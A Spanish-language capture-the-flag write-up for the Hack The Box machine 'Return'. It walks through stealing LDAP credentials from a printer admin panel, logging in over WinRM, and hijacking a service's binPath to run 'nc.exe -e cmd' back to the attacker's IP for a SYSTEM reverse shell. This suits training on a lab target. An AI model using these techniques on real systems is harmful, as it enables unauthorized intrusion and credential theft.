Return - HTB Writeup

8 minute read

Return

Recon

Comenzamos enumerando los puertos con la herramienta nmap:

┌─[z3r0byte@z3r0byte]─[~/Descargas]
└──╼ $ sudo nmap -p- --open -sS --min-rate 4000 -n 10.10.11.108 -sC -sV -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-02 10:19 WEST
Nmap scan report for 10.10.11.108
Host is up (0.054s latency).
Not shown: 65510 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: HTB Printer Admin Panel
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-07-02 09:38:40Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49671/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49675/tcp open  msrpc         Microsoft Windows RPC
49679/tcp open  msrpc         Microsoft Windows RPC
49682/tcp open  msrpc         Microsoft Windows RPC
49694/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: PRINTER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 18m32s
| smb2-time: 
|   date: 2023-07-02T09:39:38
|_  start_date: N/A
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 86.66 seconds
Parámetro Explícación  
  -p- Es una forma de especificar que queremos escanear todos los puertos existentes, los 65535.
  --open Este parámetro hace que nos muestre únicamente los puertos abiertos, que nos omita los filtered.
  -sS Especificamos el tipo de escaneo ‘SYN port Scan’, para agilizar el escaneo ya que este valida el estado de un puerto solo con el primer paso del handshake TCP.
  --min-rate [valor] Envía paquetes tan o más rápido que la tasa dada.
  -n Quitamos la resolución DNS para que el escaneo vaya más rápido
  -sC Utiliza un escaneo con una serie de scripts de enumeración por defecto de nmap.
  -sV Activa la detección de versiones.
  -oN [nombre de archivo] Exporta los resultados del escaneo en formato normal, tal cual se ve en el escaneo.

Vemos que tenemos abiertos muchos puertos donde mirar, pero en estos casos se suele empezar a enumerar por el puerto 80/tcp. El puerto 5985/tcp que pertenece al servicio WinRM está abierto, asi que será algo a probar si encontramos credenciales.

User.txt

Port 80

Visitamos la web alojada en el puerto 80 con el navegador y vemos lo siguiente:

image

Parece ser un panel de administración de impresoras. Al hacer hovering sobre los enlaces de arriba veo que todos no llevan a nada excepto el enlace Home (que es la página principal donde estamos) y el enlace Settings. Accedo a este último y nos encontramos con este formulario:

image

Found creds

Parece haber una contraseña en el campo Password pero al ver el código fuente de la página vemos que son ******* literalmente:

image

Abro la pestaña de Network del menú de desarrollador del navegador (F12) para ver que se tramita al pulsar el botón Update y vemos lo siguiente:

image

Lo único que se envía del formulario es el valor del campo Server Address. Pruebo a editar este campo y pongo mi IP local de la VPN, me pongo en escucha por el puerto que aparece en el formulario (389 que es el puerto por defecto de LDAP) y le doy de nuevo al botón Update y nos llega algo:

┌─[z3r0byte@z3r0byte]─[~/Descargas]
└──╼ $ sudo nc -lvp 389
[sudo] password for z3r0byte: 
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::389
Ncat: Listening on 0.0.0.0:389
Ncat: Connection from 10.10.11.108.
Ncat: Connection from 10.10.11.108:62131.
0*`%return\svc-printer�
                       1edFg43012!!

Nos llega lo que parece ser unas credenciales. Esto también se puede llevar a cabo con la herramiento Responder:

┌──[z3r0byte@z3r0byte]─[~/Descargas]
└──╼ $ sudo responder -I tun0
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.0.6.0

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    DNS/MDNS                   [ON]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]

[...]


[+] Listening for events...

[LDAP] Cleartext Client   : 10.10.11.108
[LDAP] Cleartext Username : return\svc-printer
[LDAP] Cleartext Password : 1edFg43012!!

Esta herramienta parsea las credenciales.

Cred test

Ahora, para verificar si son credenciales válidas, lo podemos hacer con crackmapexec autenticandonos frente al protocolo SMB:

❯ cme smb 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
SMB         10.10.11.108    445    PRINTER          [*] Windows 10.0 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False)
SMB         10.10.11.108    445    PRINTER          [+] return.local\svc-printer:1edFg43012!!

Son credenciales válidas. Probemos ahora a autenticarnos frente al servicio WinRM que vimos anteriormente, por suerte crackmapexec tiene un modulo para esto:

❯ cme winrm 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
SMB         10.10.11.108    5985   PRINTER          [*] Windows 10.0 Build 17763 (name:PRINTER) (domain:return.local)
HTTP        10.10.11.108    5985   PRINTER          [*] http://10.10.11.108:5985/wsman
WINRM       10.10.11.108    5985   PRINTER          [+] return.local\svc-printer:1edFg43012!! (Pwn3d!)

Acceso inicial

Como vemos, pone Pwn3d!, esto significa que podemos acceer a la máquina como este usuario con evil-winrm:

┌─[z3r0byte@z3r0byte]─[~/Descargas]
└──╼ $ evil-winrm -i 10.10.11.108 -u "svc-printer" -p '1edFg43012!!'
                                        
Evil-WinRM shell v3.5
                                        index
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-printer\Documents> 

La primera flag, user.txt, la podríamos ver en este punto con el siguiente comando:

*Evil-WinRM* PS C:\Users\svc-printer\Documents> type C:\Users\svc-printer\Desktop\user.txt
<REDACTED>

ㅤㅤㅤㅤㅤㅤ

Root.txt

System recon

Comienzo enumerando el usuario actual con el comando whoami /all:

*Evil-WinRM* PS C:\Users\svc-printer\Documents> whoami /all

USER INFORMATION
----------------

User Name          SID
================== =============================================
return\svc-printer S-1-5-21-3750359090-2939318659-876128439-1103


GROUP INFORMATION
-----------------

Group Name                                 Type             SID          Attributes
========================================== ================ ============ ==================================================
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Server Operators                   Alias            S-1-5-32-549 Mandatory group, Enabled by default, Enabled group
BUILTIN\Print Operators                    Alias            S-1-5-32-550 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level       Label            S-1-16-12288


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                         State
============================= =================================== =======
SeMachineAccountPrivilege     Add workstations to domain          Enabled
SeLoadDriverPrivilege         Load and unload device drivers      Enabled
SeSystemtimePrivilege         Change the system time              Enabled
SeBackupPrivilege             Back up files and directories       Enabled
SeRestorePrivilege            Restore files and directories       Enabled
SeShutdownPrivilege           Shut down the system                Enabled
SeChangeNotifyPrivilege       Bypass traverse checking            Enabled
SeRemoteShutdownPrivilege     Force shutdown from a remote system Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set      Enabled
SeTimeZonePrivilege           Change the time zone                Enabled


USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.

Entre los grupos al que pertenece este usuario, tenemos el Server Operators. Si lo buscamos en la web veremos algo que nos llamará la atención:

Server Operators Privesc

image

Al parecer podemos aprovechar los permisos de este grupo para escalar privilegios al usuario administrador.

Para ello tendremos que alterar un servicio privilegiado para cambiar el binpath al comando que queramos. Luego reiniciaremos el servicio y el comando se ejecutará como administrador.

Listing valid services to privesc

El primer paso será listar los servicios con el comando services:

*Evil-WinRM* PS C:\Users\svc-printer\Documents> services

Path                                                                                                                 Privileges Service          
----                                                                                                                 ---------- -------          
C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe                                                                  True ADWS             
\??\C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{5533AFC7-64B3-4F6E-B453-E35320B35716}\MpKslDrv.sys       True MpKslceeb2796    
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe                                                              True NetTcpPortSharing
C:\Windows\SysWow64\perfhost.exe                                                                                           True PerfHost         
"C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe"                                                False Sense            
C:\Windows\servicing\TrustedInstaller.exe                                                                                 False TrustedInstaller 
"C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe"                                                     True VGAuthService    
"C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"                                                                        True VMTools          
"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2104.14-0\NisSrv.exe"                                             True WdNisSvc         
"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2104.14-0\MsMpEng.exe"                                            True WinDefend        
"C:\Program Files\Windows Media Player\wmpnetwk.exe"                                                                      False WMPNetworkSvc

Para ver que servicios podemos modificar, tendremos que usar el comando sc.exe sdshow <service> [showrights] para ver el SDDL del servicio y saber que podemos hacer con él. Tendremos que hacer esto ya que no tenemos permisos para ejecutar el comando sc.exe query.

*Evil-WinRM* PS C:\Users\svc-printer\Documents> sc.exe query
[SC] OpenSCManager FAILED 5:

Access is denied.

En este caso yo ya he mirado y se que tenemos permisos para editar la configuración, parar y arrancar el servicio VMTools:

image

Este servicio es válido para escalar privilegios.

Getting a reverse shell

Primero tendremos que subir el binario nc.exe a la máquina, evil-winrm tiene una función integrada llamada upload, así que simplemente movemos el binario a la ruta donde iniciamos el comando evil-winrmy lo subimos o simplemente retrocedemos varios directorios y ponemos la ruta absoluta del binario nc.exe como hice en mi caso:

*Evil-WinRM* PS C:\Users\svc-printer\Documents> upload ../../../../../../../opt/SecLists-master/Web-Shells/FuzzDB/nc.exe
                                        
Info: Uploading /home/z3r0byte/Descargas/../../../../../../../opt/SecLists-master/Web-Shells/FuzzDB/nc.exe to C:\Users\svc-printer\Documents\nc.exe
                                        
Data: 37544 bytes of 37544 bytes copied
                                        
Info: Upload successful!

Ahora tendremos que editar el binpath del servicio que miramos anteriormente para introducir nuestro payload de reverse shell:

*Evil-WinRM* PS C:\Users\svc-printer\Documents> sc.exe config VMTools binPath="C:\Windows\System32\cmd.exe /c C:\Users\svc-printer\Documents\nc.exe -e cmd 10.10.14.23 9001"
[SC] ChangeServiceConfig SUCCESS

Por último, nos pondremos en escucha en nuestra máquina, reiniciamos el servicio y debería de llegar una reverse shell a nuestro equipo:

  • Pararíamos el servicio si estuviera activo (en este caso no)
*Evil-WinRM* PS C:\Users\svc-printer\Documents> sc.exe stop VMTools
[SC] ControlService FAILED 1062:

The service has not been started.

Y ahora lo iniciariamos de nuevo para obtener una reverse shell:

image

nt authority\system

¡Y ya somos administradores!

C:\Windows\system32> whoami
nt authority\system

Por último nos quedaría obtener la flag root.txt:

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
<REDACTED>